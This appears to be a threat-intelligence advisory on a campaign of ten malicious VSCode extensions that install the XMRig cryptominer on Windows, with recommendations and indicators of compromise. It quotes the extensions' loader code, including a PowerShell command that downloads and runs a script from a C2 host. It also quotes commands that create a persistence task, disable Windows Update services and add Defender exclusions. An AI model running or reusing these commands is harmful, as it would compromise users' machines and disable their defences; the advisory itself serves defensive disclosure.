Danger: VSCode extension with malicious code mining cryptocurrency attacks Windows

Overview

Recently, developers have been targeted by a complex cryptocurrency mining campaign hidden inside VSCode extensions. This attack is estimated to have affected over 1 million users. Ten malicious extensions impersonate legitimate ones, infecting users with the XMRig miner for Monero, and they can be downloaded from the VSCode Marketplace. This attack is very sophisticated as it involves multiple complex steps, even installing legitimate extensions to avoid detection.

Infection Method

These extensions were publicly available on the VSCode Marketplace on 04/04/2025 and were discovered by Yuval Ronen, a researcher from ExtensionTotal. Below are the 10 malicious extensions identified:

1. Prettier - Code for VSCode (by prettier) - 955K installs

2. Discord Rich Presence for VS Code (by Mark H) - 189K installs

3. Rojo – Roblox Studio Sync (by evaera) - 117K installs

4. Solidity Compiler (by VSCode Developer) - 1.3K installs

5. Claude AI (by Mark H)

6. Golang Compiler (by Mark H)

7. ChatGPT Agent for VSCode (by Mark H)

8. HTML Obfuscator (by Mark H)

9. Python Obfuscator for VSCode (by Mark H)

10. Rust Compiler for VSCode (by Mark H)

These extensions impersonate popular programming tools. Once installed, they download and execute a PowerShell script, install the legitimate extension they are impersonating, and simultaneously set up the XMRig miner from a C2 server at https://asdf11[.]xyz/

function activate(context) {
  // Register the command to execute the PowerShell Loader and install the extension
  let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', async function () {
    if (process.platform === 'win32') {
      const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
        // Execute the command to download and execution the PowerShell Loader
        await executeCmdCommand(cmdCommand);
        // After the PowerShell Loader has been executed, install the Solidity extension
        const extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extension
        await installExtension(extensionId);

      } catch (error) {
        vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
      }
    }
  });

This PowerShell script is responsible for maintaining operation, avoiding detection, escalating privileges, and execution. To stay active, it creates a task named “OnedriveStartup” that runs every time the computer starts up (masquerading as OneDrive software).

Start-Process "cmd.exe" -ArgumentList "/c schtasks /create /tn `"OnedriveStartup`" /tr `"$qZVhfWBWTd5ptqbWRS8gzsNWK7JScbLgtuxRRD`" /sc ONLOGON /RL HIGHEST /F" -WindowStyle Hidden

Create and run script from Registry Entry

Start-Process "cmd.exe" -ArgumentList "/c reg add ""HKCU\\Software\\Microsoft"" /v ""Version"" /t REG_SZ /d $uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp /f" -WindowStyle Hidden

To avoid detection, it will disable the Windows Security service.

# Stops the Windows Update Service and disables it from starting
Stop-Service -Name wuauserv -Force
Set-Service -Name wuauserv -StartupType Disabled

# Modifies registry to disable the Windows Update Medic Service
Start-Process "cmd.exe" -ArgumentList '/c reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f' -WindowStyle Hidden

# Stops and disables the Update Orchestrator Service
Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled

At the same time, it also adds the created directory to the Windows Defender Exclusion Path.

Start-Process "cmd.exe" -ArgumentList "/c powershell -Command ""Add-MpPreference -ExclusionPath '%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp'""" -WindowStyle Hidden

Start-Process "cmd.exe" -ArgumentList "/c reg add `"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths`" /v `"%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp`" /t REG_SZ /d 0 /f" -WindowStyle Hidden

To escalate privileges, it will execute malicious code with Administrator rights. If it doesn't have those rights, it will create another System32 directory and copy the file ComputerDefault.exe into it. Then the script will create a DLL named MLANG.dll and execute it using ComputerDefault.

In the PowerShell script, there is information about the DLL and Trojan encoded in Base64. It will decode the Trojan named Launcher.exe and write it into the directory excluded in Windows Defender. Launcher.exe is then executed and connects to the C2 server myaunet[.]su, downloads, and executes the XMRig tool.

Recommendation

With recent attacks becoming increasingly complex and sophisticated, users are easily exploited to install fake software and utilities, affecting information security. FPT Threat Intelligence offers the following recommendations:

• Update the IOC list below the article.

• Carefully check software and utilities before installation.

• Regularly update cybersecurity information and recent attacks to plan responses.

IOC

VSCode package:

• prettierteam.prettier

• markh.chatgpt-autocoder-vscode

• markh.claude-autocoder-vscode

• markh.discord-rich-presence-vs

• markh.golang-compiler-vscode

• markh.html-obfuscator-vscode

• markh.python-obfuscator-vscode

• markh.rust-compiler-vs

• evaera-rbx.vscode-rojo-rbx

• vscodedeveloper.sobidity-compiler

File Hash

C2 Server

• asdf11[.]xyz

• myaunet[.]su

Reference

https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59

https://www.bleepingcomputer.com/news/security/malicious-vscode-extensions-infect-windows-with-cryptominers/